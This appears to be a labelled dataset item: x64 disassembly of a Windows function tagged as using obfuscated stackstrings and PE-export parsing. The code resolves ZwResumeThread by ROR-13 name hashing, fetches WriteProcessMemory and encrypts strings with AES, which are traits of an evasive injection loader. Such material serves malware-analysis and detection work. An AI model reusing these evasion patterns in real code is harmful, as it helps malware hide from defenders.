Function at 0x1400053a0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1ec0]
mov eax, 0x1fc0
call fcn.14000e990
sub rsp, rax
mov rax, qword [0x140017040]
xor rax, rsp
mov qword [rbp + 0x1eb0], rax
mov qword [rbp - 0x80], r9
mov r13, rdx
mov r14, rcx
xor r12d, r12d
call fcn.1400044d0
mov r8d, 0x208
lea rdx, [rbp + 0xa90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x14000540b
mov eax, 0xfffffffe
jmp 0x140008e4e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5a8], xmm0
mov qword [rbp + 0x5b8], rax
lea rcx, [rbp + 0x5a8]
call fcn.140004cb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], 9
mov qword [rbp + 0x548], 0xf
movsd xmm0, qword [str.ntdll.dll]
movsd qword [rbp + 0x530], xmm0
movzx eax, byte [0x140010958]
mov byte [rbp + 0x538], al
mov byte [rbp + 0x539], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x518]
call fcn.140004d40
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x518]
lea rcx, [rbp + 0x4f8]
call fcn.140004f10
nop
lea r8, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
cmova r8, qword [rbp + 0x4f8]
add r8, qword [rbp + 0x508]
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
cmova rdx, qword [rbp + 0x4f8]
lea rcx, [rsp + 0x60]
call fcn.14000afc0
nop
cmp qword [rax + 0x18], 7
jbe 0x140005502
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x140019320], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000555f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005552
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005552
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov rax, qword [0x140019320]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
test rax, rax
jne 0x14000572a
lea rdx, str.Failed_to_get_handle_to
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 0xf
cmova rdx, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x508]
mov rcx, rax
call fcn.14000bc10
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x14000560b
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005605
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005605
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x14000567a
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005662
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005662
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x1400056bf
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400056b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006602
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000571a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000571a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 1
jmp 0x140008e4e
mov dword [rbp + 0x574], r12d
mov qword [rbp + 0x578], 0xc
mov qword [rbp + 0x580], 0xf
movsd xmm0, qword [str.kernel32.dll]
movsd qword [rbp + 0x568], xmm0
mov eax, dword [0x140010ad8]
mov dword [rbp + 0x570], eax
mov byte [rbp + 0x574], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x550]
call fcn.140004d40
nop
lea r8, [rbp + 0x5a8]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x588]
call fcn.140004f10
nop
lea rdx, [rbp + 0x588]
cmp qword [rbp + 0x5a0], 0xf
cmova rdx, qword [rbp + 0x588]
mov r8, qword [rbp + 0x598]
add r8, rdx
lea rdx, [rbp + 0x588]
cmp qword [rbp + 0x5a0], 0xf
cmova rdx, qword [rbp + 0x588]
lea rcx, [rsp + 0x60]
call fcn.14000afc0
nop
cmp qword [rax + 0x18], 7
jbe 0x140005800
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r15, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140005852
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000584c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000584c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
test r15, r15
jne 0x140005b16
lea rdx, str.Failed_to_get_handle_to_kernel32.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400058e5
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400058df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140005954
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000593c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000593c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140005999
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005993
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005993
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x1400059f7
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x140005a66
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140005aab
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aa5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005aa5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140006602
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 1
jmp 0x140008e4e
mov ebx, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140005bcc
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x58], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005b5e
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rbp - 0x58]
mov ecx, eax
shl edx, cl
mov eax, dword [rbp - 0x58]
xor eax, edx
mov dword [rsp + 0x50], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000007
jge 0x140005b82
dec eax
or eax, 0xfffffff8
inc eax
mov edx, dword [rsp + 0x50]
mov ecx, eax
sar edx, cl
mov eax, dword [rsp + 0x50]
xor eax, edx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rbp - 0x58]
imul ecx, eax
mov dword [rsp + 0x54], ecx
inc ebx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp ebx, edi
jl 0x140005b41
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
test rax, rax
jne 0x140005e7a
lea rdx, str.Failed_to_load_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140005c4e
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140005cbd
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ca5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140005d02
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cfc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005cfc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140005d60
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005d5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x140005dcf
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005db7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005db7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140005e14
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008e49
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
jmp 0x140008e49
mov dword [rbp + 0x6d8], 0x6552775a
mov dword [rbp + 0x6dc], 0x656d7573
mov dword [rbp + 0x6e0], 0x65726854
mov word [rbp + 0x6e4], 0x6461
mov byte [rbp + 0x6e6], 0
lea rcx, [rbp + 0x6d8]
mov edi, r12d
mov al, 0x5a
nop dword [rax]
nop dword [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140005ec0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [rax + r10 + 0x88]
add rcx, r10
mov r8d, dword [rcx + 0x20]
add r8, r10
mov ebx, dword [rcx + 0x24]
add rbx, r10
mov esi, dword [rcx + 0x1c]
add rsi, r10
mov r9d, r12d
mov r11d, dword [rcx + 0x18]
test r11d, r11d
je 0x140005f34
mov edx, dword [r8]
add rdx, r10
mov eax, r12d
movzx ecx, byte [rdx]
test cl, cl
je 0x140005f24
ror eax, 0xd
movsx ecx, cl
add eax, ecx
lea rdx, [rdx + 1]
movzx ecx, byte [rdx]
test cl, cl
jne 0x140005f11
cmp eax, edi
je 0x140005fa3
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140005f01
lea rdx, str.Failed_to_resolve_ZwResumeThread
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140008c26
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, r9d
movzx ecx, word [rbx + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r10
je 0x140005f34
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x750]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x730]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
lea rdx, str.WriteProcessMemory
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rcx, qword [0x142e41838]
mov qword [rbp], rcx
lea rcx, [rbp + 0x5c0]
call fcn.140003260
nop
lea rdx, str.Obfuscated_String:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ada0
lea rdx, [rbp + 0x5c0]
cmp qword [rbp + 0x5d8], 0xf
cmova rdx, qword [rbp + 0x5c0]
mov r8, qword [rbp + 0x5d0]
mov rcx, rax
call fcn.14000bc10
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x5e0]
call fcn.140003810
nop
lea rdx, str.Hex_Representation:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ada0
lea rdx, [rbp + 0x5e0]
cmp qword [rbp + 0x5f8], 0xf
cmova rdx, qword [rbp + 0x5e0]
mov r8, qword [rbp + 0x5f0]
mov rcx, rax
call fcn.14000bc10
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_key_length]
mov edx, eax
lea rcx, [rbp + 0x6f0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_get_iv_length]
mov edx, eax
lea rcx, [rbp + 0x6c8]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0x730]
lea r8, [rbp + 0x750]
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x620]
call fcn.140003620
nop
lea rdx, [rbp + 0x620]
lea rcx, [rbp - 0x78]
call fcn.140003810
mov rdi, rax
lea rdx, str.Encrypted_String__Hex_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ada0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006155
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000bc10
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400061b1
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400061ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xor ebx, ebx
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], bl
mov byte [rsp + 0x20], bl
lea r9, [rbp + 0x730]
lea r8, [rbp + 0x750]
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x600]
call fcn.140003620
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x14000660c
lea rdx, str.Failed_to_get_module_handle_for_ntdll.dll
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140006267
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006261
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006261
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x1400062c5
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400062bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140006323
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000631d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000631d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140006381
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000637b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000637b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5d0], rbx
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400063df
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x14000644e
